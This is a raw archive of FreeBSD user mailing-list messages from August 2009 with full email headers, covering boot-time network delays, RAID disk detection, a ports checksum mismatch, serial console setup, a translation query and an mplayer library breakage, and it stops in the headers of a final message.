From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 00:11:02 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9BAFC106568B for ; Sun, 23 Aug 2009 00:11:02 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.24]) by mx1.freebsd.org (Postfix) with ESMTP id 509948FC0C for ; Sun, 23 Aug 2009 00:11:01 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 3so914617qwe.7 for ; Sat, 22 Aug 2009 17:11:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=q5bfN9TeIWNAyKZZ2+XKRItGmFphQNEPpZYv93V+pyw=; b=s3igY/wL8sb1YYPEvMYdG7ho1sZ95h/1LT7D+cv9qCgIyY6smEIe5bSp+k6Vo3pI8v iqGivYwxB/qwKYInIdIR0na83y4wksj+XDRBP8uEZ5foO1RlxTLFZmwshHXqabq9jCfX KYFlDb6BZ4NVQoFD74j5VqWqymJw/U6yM8dAY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=gYajhAD+KHFb07qiKMmnKXQFiela2qKV3Gez2xHT9B8ouhdU7pwHI/gzHwApjgi2gt 5VIHnTFj5LmfSIrMfY88SFV/mVXrLFmCXfU1jqzlnvF+Av4aDbk9+xze7cUG0VR1S4L+ bFjOMRbXluR7RsvXGsLh74nZBH5Xkyj7Z+O7Q= MIME-Version: 1.0 Received: by 10.229.1.200 with SMTP id 8mr631551qcg.64.1250986261350; Sat, 22 Aug 2009 17:11:01 -0700 (PDT) In-Reply-To: <4A9083AD.4080305@rcn.com> References: <560f92640908212137s376f1dc8vaba59618a6b71d67@mail.gmail.com> <20090822164219.1d439ae4@gumby.homeunix.com> <560f92640908221213p2e426650x3bcad3b93de4d4a3@mail.gmail.com> <560f92640908221226o5da22c8frae08de57520d98be@mail.gmail.com> <560f92640908221614vacd66ega4a56b79d3a59db6@mail.gmail.com> <4A9083AD.4080305@rcn.com> Date: Sat, 22 Aug 2009 17:11:01 -0700 Message-ID: <560f92640908221711u2d7f93b7sc8f0d5df24e087d2@mail.gmail.com> From: Nerius Landys To: Robert Huff Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: RW , freebsd-questions@freebsd.org Subject: Re: /etc/rc.d/named dilemma X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 00:11:02 -0000 > =A0 =A0 =A0 =A0I don't remember the original description, but any time I = hear about > a 30 second "gap" during startup, I think of the well-known DNS reverse > look-up issue. =A0Are you sure this is not the case here? Indeed, I have forgotten to have the PTR record set up for my new IP addres= s. However the original description is that when I issue a "ping -c 100 x.y.z.w" to a well-known IP address, only the last 70 packets get returned, not the first 30 (hence 30 seconds). This ping command is issued very early in the rc.d scripts, after NETWORK and before named, and the script does not exit until a ping request is successful. From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 01:29:44 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EEAAD106568C for ; Sun, 23 Aug 2009 01:29:44 +0000 (UTC) (envelope-from mlobo@digiart.art.br) Received: from sv4.hmnoc.net (sv4.hmnoc.net [72.233.57.166]) by mx1.freebsd.org (Postfix) with ESMTP id C21388FC0C for ; Sun, 23 Aug 2009 01:29:44 +0000 (UTC) Received: from [189.81.43.143] (helo=papi) by sv4.hmnoc.net with esmtpa (Exim 4.69) (envelope-from ) id 1Mf1y7-0001wt-Kv; Sat, 22 Aug 2009 22:34:03 -0300 From: Mario Lobo Organization: DigiArt Systems To: freebsd-questions@freebsd.org Date: Sat, 22 Aug 2009 22:30:16 -0300 User-Agent: KMail/1.9.10 References: <560f92640908212137s376f1dc8vaba59618a6b71d67@mail.gmail.com> <4A9083AD.4080305@rcn.com> <560f92640908221711u2d7f93b7sc8f0d5df24e087d2@mail.gmail.com> In-Reply-To: <560f92640908221711u2d7f93b7sc8f0d5df24e087d2@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200908222230.16685.mlobo@digiart.art.br> X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sv4.hmnoc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - digiart.art.br X-Source: X-Source-Args: X-Source-Dir: Cc: Nerius Landys Subject: Re: /etc/rc.d/named dilemma X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 01:29:45 -0000 On Saturday 22 August 2009 21:11:01 Nerius Landys wrote: > > =A0 =A0 =A0 =A0I don't remember the original description, but any time = I hear > > about a 30 second "gap" during startup, I think of the well-known DNS > > reverse look-up issue. =A0Are you sure this is not the case here? > > Indeed, I have forgotten to have the PTR record set up for my new IP > address. > > However the original description is that when I issue a "ping -c 100 > x.y.z.w" to a well-known IP address, only the last 70 packets get > returned, not the first 30 (hence 30 seconds). This ping command is > issued very early in the rc.d scripts, after NETWORK and before named, > and the script does not exit until a ping request is successful. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" Nerius; I had the same problem until I put:=20 # REQUIRE: SERVERS cleanvar ppp-user in /etc/rc.d/named script, which means that named won't start until the ppp -ddial adsl command, which is called by in /etc/rc.d/ppp-user, is=20 finished. By then, DNS and default route will be established.=20 I also put: # PROVIDE: ppp-user in /etc/rc.d/ppp-user. Sorry for writing you directly but I don't know why, the freebsd-questions= =20 list (in fact, all freebsd lists i'm subscribed to) is refusing my posts. N= ot=20 even the list manager/owner gets them. If you would be so kind to forward=20 this to them, I'd be very greatful. Maybe they could find out why so I coul= d=20 take action to try remedy what is causing the refusals of my e-mail. Thanks and Best wishes, =2D-=20 Mario Lobo http://www.mallavoodoo.com.br =46reeBSD since version 2.2.8 [not Pro-Audio.... YET!!] (99,7% winedows FRE= E) From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 02:41:32 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 85BB2106564A for ; Sun, 23 Aug 2009 02:41:32 +0000 (UTC) (envelope-from daniel@toomuchdata.se) Received: from pne-smtpout2-sn2.hy.skanova.net (pne-smtpout2-sn2.hy.skanova.net [81.228.8.164]) by mx1.freebsd.org (Postfix) with ESMTP id 462E08FC14 for ; Sun, 23 Aug 2009 02:41:32 +0000 (UTC) Received: from royal64.emp.zapto.org (195.198.193.168) by pne-smtpout2-sn2.hy.skanova.net (7.3.140.3) (authenticated as u35605266) id 4A5BC8BE0035AC04; Sun, 23 Aug 2009 03:32:06 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Content-class: urn:content-classes:message Date: Sun, 23 Aug 2009 03:32:05 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5.7235.2 Message-ID: <4F9C9299A10AE74E89EA580D14AA10A635E977@royal64.emp.zapto.org> In-Reply-To: <4A8D9124.6020405@midsummerdream.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: No Device Node assigned for HD? Thread-Index: AcohwaGo2pj0NWf/S063/vQ+Ufi0jwBzj8Yg References: <4A8D9124.6020405@midsummerdream.org> From: "Daniel Eriksson" To: Cc: lists@midsummerdream.org Subject: RE: No Device Node assigned for HD? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 02:41:32 -0000 Rob wrote: > The only difference I've found is that in the RocketRAID BIOS, the 3=20 > 500GB drives are recognized with a Legacy Status, whereas the 1TB is=20 > recognized as New Status. Not sure what that means or how to=20 > change it.=20 Your "problem" is that the old drives you have hooked up to the RocketRAID card all have a partition table. When the RR BIOS sees that partition table it assumes it is a "Legacy" drive and exposes it to the OS as a single drive JBOD array. Your brand new 1 TB drive has nothing on it, and your RocketRAID card is waiting for you to initialize it and create an array with it before exposing it to the OS. You have two options: 1. Use the RR2310 BIOS screen (or hptraidconf from inside FreeBSD) to initialize the drive and create a single drive JBOD array with it. 2. Connect the drive to a header on your motherboard and create a partition table on it, then reconnect it to your RR2310 card. Partition table example: # gpart create -t GPT adXX # gpart add -b YY -s ZZ -t freebsd-ufs adXX /Daniel Eriksson From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 07:10:46 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6A426106568C for ; Sun, 23 Aug 2009 07:10:46 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (unknown [IPv6:2607:f678:1010::34]) by mx1.freebsd.org (Postfix) with ESMTP id 4285B8FC0C for ; Sun, 23 Aug 2009 07:10:46 +0000 (UTC) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id n7N7Aj5E066467 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 23 Aug 2009 00:10:45 -0700 (PDT) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id n7N7AjGK066466; Sun, 23 Aug 2009 00:10:45 -0700 (PDT) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA07535; Sun, 23 Aug 09 00:09:04 PDT Date: Sun, 23 Aug 2009 00:12:44 -0700 From: perryh@pluto.rain.com To: nlandys@gmail.com Message-Id: <4a90ebec.IEQysCcW3m+S8CNF%perryh@pluto.rain.com> References: <560f92640908212137s376f1dc8vaba59618a6b71d67@mail.gmail.com> <20090822164219.1d439ae4@gumby.homeunix.com> <560f92640908221213p2e426650x3bcad3b93de4d4a3@mail.gmail.com> <560f92640908221226o5da22c8frae08de57520d98be@mail.gmail.com> <560f92640908221614vacd66ega4a56b79d3a59db6@mail.gmail.com> In-Reply-To: <560f92640908221614vacd66ega4a56b79d3a59db6@mail.gmail.com> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: /etc/rc.d/named dilemma X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 07:10:46 -0000 Nerius Landys wrote: > I am still bambuzzled by the network taking 30 seconds to come up. One thing I've run into recently is an Ethernet switch that needs to resolve spanning tree after a port reset. The physical link comes back up quickly, but it seems to take about 30 seconds before the switch will handle any traffic. From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 08:40:42 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 662EB106568F for ; Sun, 23 Aug 2009 08:40:42 +0000 (UTC) (envelope-from zenzee@xs4all.nl) Received: from smtp-vbr16.xs4all.nl (smtp-vbr16.xs4all.nl [194.109.24.36]) by mx1.freebsd.org (Postfix) with ESMTP id F1DD58FC08 for ; Sun, 23 Aug 2009 08:40:41 +0000 (UTC) Received: from xs2.xs4all.nl (xs2.xs4all.nl [194.109.21.3]) by smtp-vbr16.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7N8Owrs043012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 23 Aug 2009 10:24:58 +0200 (CEST) (envelope-from zenzee@xs4all.nl) Received: from xs2.xs4all.nl (zenzee@localhost [127.0.0.1]) by xs2.xs4all.nl (8.13.6/8.13.6) with ESMTP id n7N8Ow0R075381 for ; Sun, 23 Aug 2009 10:24:58 +0200 (CEST) (envelope-from zenzee@xs4all.nl) Received: (from zenzee@localhost) by xs2.xs4all.nl (8.13.6/8.13.6/Submit) id n7N8OrXH075379 for freebsd-questions@freebsd.org; Sun, 23 Aug 2009 10:24:53 +0200 (CEST) (envelope-from zenzee) Date: Sun, 23 Aug 2009 10:24:53 +0200 From: Vincent Zee To: freebsd-questions Message-ID: <20090823082453.GA75105@xs4all.nl> Mail-Followup-To: freebsd-questions Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-Virus-Scanned: by XS4ALL Virus Scanner Subject: MD5 Checksum mismatch for netatalk-2.0.4.tar.bz2 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 08:40:42 -0000 Hi, I'm trying to update the netatalk port to its newest version. uname -a FreeBSD piggie.int.daemon.net 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 I use portmaster -a to update the ports but when it reaches netatalk it gives this error message: --------------------- ===> Vulnerability check disabled, database not found ===> Extracting for netatalk-2.0.4,1 => MD5 Checksum mismatch for netatalk-2.0.4.tar.bz2. => SHA256 Checksum mismatch for netatalk-2.0.4.tar.bz2. [snip] ===> Giving up on fetching files: netatalk-2.0.4.tar.bz2 netatalk-2.0.4.tar.bz2 Make sure the Makefile and distinfo file (/usr/ports/net/netatalk/distinfo) are up to date. If you are absolutely sure you want to override this check, type "make NO_CHECKSUM=yes [other args]". *** Error code 1 Stop in /usr/ports/net/netatalk. *** Error code 1 Stop in /usr/ports/net/netatalk. ===>>> make failed for net/netatalk ===>>> Aborting update ===>>> Update for netatalk-2.0.3_5,1 failed ===>>> Aborting update ------------------- I checked the distinfo file and it is the same as on my other machine. On which the update went fine. Anyone any idea how to solve this? Vincent From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 08:56:23 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 37C18106568B for ; Sun, 23 Aug 2009 08:56:23 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id 713298FC1F for ; Sun, 23 Aug 2009 08:56:22 +0000 (UTC) Received: (qmail 30267 invoked from network); 23 Aug 2009 08:56:07 -0000 Received: from unknown (HELO smtp.phoenix) (218.215.173.67) by smtp.mel.people.net.au with SMTP; 23 Aug 2009 08:56:07 -0000 Received: by smtp.phoenix (Postfix, from userid 1001) id 2627B171C1; Sun, 23 Aug 2009 18:56:19 +1000 (EST) Date: Sun, 23 Aug 2009 18:56:19 +1000 From: andrew clarke To: freebsd-questions Message-ID: <20090823085619.GA78363@ozzmosis.com> References: <20090823082453.GA75105@xs4all.nl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090823082453.GA75105@xs4all.nl> User-Agent: Mutt/1.5.20 (2009-06-14) Cc: Vincent Zee Subject: Re: MD5 Checksum mismatch for netatalk-2.0.4.tar.bz2 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 08:56:23 -0000 On Sun 2009-08-23 10:24:53 UTC+0200, Vincent Zee (zenzee@xs4all.nl) wrote: > ===> Vulnerability check disabled, database not found > ===> Extracting for netatalk-2.0.4,1 > => MD5 Checksum mismatch for netatalk-2.0.4.tar.bz2. > => SHA256 Checksum mismatch for netatalk-2.0.4.tar.bz2. I'm getting a checksum mismatch here too. This probably means the tarball was modified. > I checked the distinfo file and it is the same as on my other machine. > On which the update went fine. Solution #1: Use "make NO_CHECKSUM=yes", just ignore the mismatch and hope it will build. Solution #2: Copy /usr/ports/distfiles/netatalk-2.0.4.tar.bz2 from your other machine and rebuild. Solution #3: Don't bother building from ports if you already have a working binary on your other machine. Use "pkg_create -vb netatalk\*", copy the resulting file to the new machine, then use pkg_add. This assumes the same architecture (eg. i386) on both machines. From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 12:34:38 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AB6BE106568B for ; Sun, 23 Aug 2009 12:34:38 +0000 (UTC) (envelope-from serenity@exscape.org) Received: from ch-smtp01.sth.basefarm.net (ch-smtp01.sth.basefarm.net [80.76.149.212]) by mx1.freebsd.org (Postfix) with ESMTP id 680E98FC2A for ; Sun, 23 Aug 2009 12:34:38 +0000 (UTC) Received: from c83-253-252-234.bredband.comhem.se ([83.253.252.234]:42426 helo=mx.exscape.org) by ch-smtp01.sth.basefarm.net with esmtp (Exim 4.68) (envelope-from ) id 1MfC1R-0000gW-5W for freebsd-questions@freebsd.org; Sun, 23 Aug 2009 14:18:11 +0200 Received: from [192.168.1.5] (macbookpro [192.168.1.5]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mx.exscape.org (Postfix) with ESMTPSA id 5CC6B16D75F for ; Sun, 23 Aug 2009 14:18:08 +0200 (CEST) Message-Id: <2E76B1A5-C7B3-4845-9919-1C9FFC7EDA63@exscape.org> From: Thomas Backman To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Sun, 23 Aug 2009 14:18:06 +0200 X-Mailer: Apple Mail (2.936) X-Originating-IP: 83.253.252.234 X-Scan-Result: No virus found in message 1MfC1R-0000gW-5W. X-Scan-Signature: ch-smtp01.sth.basefarm.net 1MfC1R-0000gW-5W f195040c4a204758f9fb50efab48dc49 Subject: Serial console trouble: loader and login works, but no kernel messages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 12:34:38 -0000 First off: Not subscribed to this list, please make sure to Cc me if you don't reply directly. :) Anyway, I finally got my null modem cable, and plugged in in between a machine running 8.0-BETA2 and one running WinXP using Hyperterminal. My settings: /boot/loader.conf: boot_multicons="YES" boot_serial="YES" comconsole_speed="115200" console="comconsole,vidconsole" /etc/ttys: # Serial terminals # The 'dialup' keyword identifies dialin lines to login, fingerd etc. ttyu0 "/usr/libexec/getty std.115200" vt100 on secure /boot.config (which is read properly): -Dh -S115200 Anything wrong in the above? Hyperterminal is set to 115200 bps, 8 bits, no parity, 1 stop bit, and no flow control (if that's the correct translation to English). On the serial console, I go from the screen with the FreeBSD logo, with single-user options etc. (which works fine), and then nothing, until a login tty pops up (which also works fine). The main, if not only, reason I want a serial console is to be able to use it for single user mode, DDB, and so on. All kernel messages, and all rc messages are seen only on the graphics card; the serial console receives nothing but the "/boot.config: - Dh ...", the logo screen, and then the login screen, during startup and *nothing* at all during shutdown. Also, I'm able to login and use the system both via the serial console and via the graphics card/ keyboard... Is this supposed to be? I'm not complaining, I just got the impression it was one or the other. Any advice on how to get the kernel/rc messages etc. to the serial console (only or as well)? Regards, Thomas From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 11:51:26 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0F8C8106568F for ; Sun, 23 Aug 2009 11:51:26 +0000 (UTC) (envelope-from laospr@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.228]) by mx1.freebsd.org (Postfix) with ESMTP id D76398FC16 for ; Sun, 23 Aug 2009 11:51:24 +0000 (UTC) Received: by rv-out-0506.google.com with SMTP id f9so603790rvb.43 for ; Sun, 23 Aug 2009 04:51:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:from:to :content-type:content-transfer-encoding:subject:mime-version:date :x-mailer; bh=wnRzrjlNjxSWZBqvY23oslGlbNJu/OSrFGNQGxaI6Gg=; b=FZaB/wsusmFqJzMyoLkuI0Lg3pFT3IUHLLuEuvpx8TFocl/S42ODV/QbzOtiD4Dp85 /L9J5WhINSdRU9jGsv9RLRhY6q40S7wajeU+DIQ/iCwTd1FR07FktKRQp3/buyBK8xqx 8wdy5D3hkULbVUYWdlx8dKKPEbJEvF/+FDwjg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:from:to:content-type:content-transfer-encoding:subject :mime-version:date:x-mailer; b=sSArS0DuhKwxgGMFIhS5R7DEmYoqkbnAbf2R58YxpbiVZbPYbP+qgdmTPzjQUKI7f3 uUWX26m/vxEd2q9IFYYfeKHlXcSdKP9X385YMpy2J62/VbCxUArbSjweU8W86Z8+VS6Y z3bgqG2D3gnp5nYr1e1HBHyZR9Z7frqg4Hvpw= Received: by 10.141.21.12 with SMTP id y12mr1597688rvi.248.1251026620878; Sun, 23 Aug 2009 04:23:40 -0700 (PDT) Received: from ?193.167.123.10? ([202.62.96.5]) by mx.google.com with ESMTPS id k2sm11506909rvb.43.2009.08.23.04.23.36 (version=SSLv3 cipher=RC4-MD5); Sun, 23 Aug 2009 04:23:40 -0700 (PDT) Message-Id: <03611829-F322-429F-8A4C-CEB53A1D1C42@gmail.com> From: Nakhonekham Xongmixay To: freebsd-questions@FreeBSD.org Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Sun, 23 Aug 2009 18:22:46 +0700 X-Mailer: Apple Mail (2.936) X-Mailman-Approved-At: Sun, 23 Aug 2009 12:52:47 +0000 Cc: Subject: Translation X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 11:51:26 -0000 Dear FreeBSD, Just question about translated version of FreeBSD if it available in Lao Language or not? if not how can I start to translate this FreeBSD in to Lao. Your sincerely, Nakhonekham Xongmixay Managing Director Nakhonevaly URI: http://www.nakhonevaly.com Tel: +856(0)20 2426689 From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 15:24:05 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 12E50106568B for ; Sun, 23 Aug 2009 15:24:05 +0000 (UTC) (envelope-from lumiwa@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.25]) by mx1.freebsd.org (Postfix) with ESMTP id BEF768FC1D for ; Sun, 23 Aug 2009 15:24:04 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 3so1025402qwe.7 for ; Sun, 23 Aug 2009 08:24:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:from:to:subject:date :user-agent:mime-version:content-type:content-transfer-encoding :content-disposition:message-id; bh=L5fmHiZt5l/Rk/eVkS+HSPcZ2EgEsj4p87XXWCOUq1M=; b=J1ah8YAYaBKzTGBmAqCD7TmZOn1vMCq6myVAK4StNel5W7nsJuvctEAXEQhxAdOOPs 22B74Ub9viZLvTyMc/H6NkEfdXlCRQ28XVr2f4TciUcMc+ioR5OoGVHE4gh7cZqQuqvz zUXyTncu6irPGDDcpZ18lauIdvzrvUVR8rGSc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:subject:date:user-agent:mime-version:content-type :content-transfer-encoding:content-disposition:message-id; b=mFEtYGboU5bn99E9zJluluHo6dlJTqxGONpJMD4D+o+H+7P9ElpnQ32V6UyRFNiTuX P+sZ0lrggIS1was6fy3qkNHHM6xUCzzpiANdabGyJNdQAssrDGipZPADprrPO0PWDHXh ksHGtNLWpArRTLZEHpODFz4O1dOf/avU4k870= Received: by 10.224.12.204 with SMTP id y12mr2137875qay.99.1251041043834; Sun, 23 Aug 2009 08:24:03 -0700 (PDT) Received: from ?192.168.0.100? (CPE-65-29-54-222.wi.res.rr.com [65.29.54.222]) by mx.google.com with ESMTPS id 4sm6140829qwe.45.2009.08.23.08.24.02 (version=SSLv3 cipher=RC4-MD5); Sun, 23 Aug 2009 08:24:03 -0700 (PDT) From: ajtiM To: freebsd-questions@freebsd.org Date: Sun, 23 Aug 2009 10:23:50 -0500 User-Agent: KMail/1.9.10 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200908231023.51020.lumiwa@gmail.com> Subject: mplayer - fribidi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Aug 2009 15:24:05 -0000 After update fribidi (FreeBSD 7.2), mplayer stop working: > mplayer /libexec/ld-elf.so.1: Shared object "libfribidi.so.0" not found, required by "mplayer". Rebuild of mplayer doesn't work with a new fribidi: ===> mplayer-0.99.11_14 depends on shared library: fribidi.0 - not found ===> Verifying install for fribidi.0 in /usr/ports/converters/fribidi ===> Returning to build of mplayer-0.99.11_14 Error: shared library "fribidi.0" does not exist *** Error code 1 Stop in /usr/ports/multimedia/mplayer. *** Error code 1 Stop in /usr/ports/multimedia/mplayer. ===>>> make failed for multimedia/mplayer ===>>> Aborting update Thanks. -- Mitja ----- http://starikarp.redbubble.com From owner-freebsd-questions@FreeBSD.ORG Sun Aug 23 15:37:38 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8BA8C106568C for ; Sun, 23 Aug 2009 15:37:38 +0000 (UTC) (envelope-from taosecurity@gmail.com) Received: from mail-gx0-f227.google.com (mail-gx0-f227.google.com [209.85.217.227]) by mx1.freebsd.org (Postfix) with ESMTP id 4C0478FC1E for ; Sun, 23 Aug 2009 15:37:38 +0000 (UTC) Received: by gxk27 with SMTP id 27so2136314gxk.12 for ; Sun, 23 Aug 2009 08:37:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=C41S+Dgg3jNsGmudQXTLSN07qalkzym65d0L/c4UgOA=; b=w3RKC0YfTmXEd0m8j+iWDfxoriEVN2BboW5D7V2J0vn65KyMQwCX6Uv45N2vZhX5mU 4E1HWrD6r4+txEYKnOkpRyyJ5myY9ytrxF1aIa9cXIF2SEBBQAijFFGAgDkApFEcHdve KyLXOX7gZhDqfKM4BAuoja7R6vIr9jYnoUHNU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=AQM9YcvlgFX9bB6uzKsn2y6fNRggXeYOtG7wr31pvc5MpYfMcEEEYKEC243qFqg+qt hEkSC6xiL/gglor9S12vfC7RDtkg2EBd5AP0vXUjn9y5WJ6IbUxhLVKysysmEwBg1/UN KMK8E0HGRqNj2ZJX5b/o9jq9ZjXa6AlrN7gKQ= MIME-Version: 1.0 Received: by 10.91.143.16 with SMTP id v16mr3061212agn.97.1251040177635; Sun, 23 Aug 2009 08:09:37 -0700 (PDT) Date: Sun, 23 Aug 2009 11:09:37 -0400 Message-ID: <120ef0530908230809l36f661c9ra19d44ba8a82bb33@mail.gmail.com> From: Richard Bejtlich To: freebsd-questions@freebsd.org, freebsd@edvax.de Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Subject: Re: cvs tag usage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: 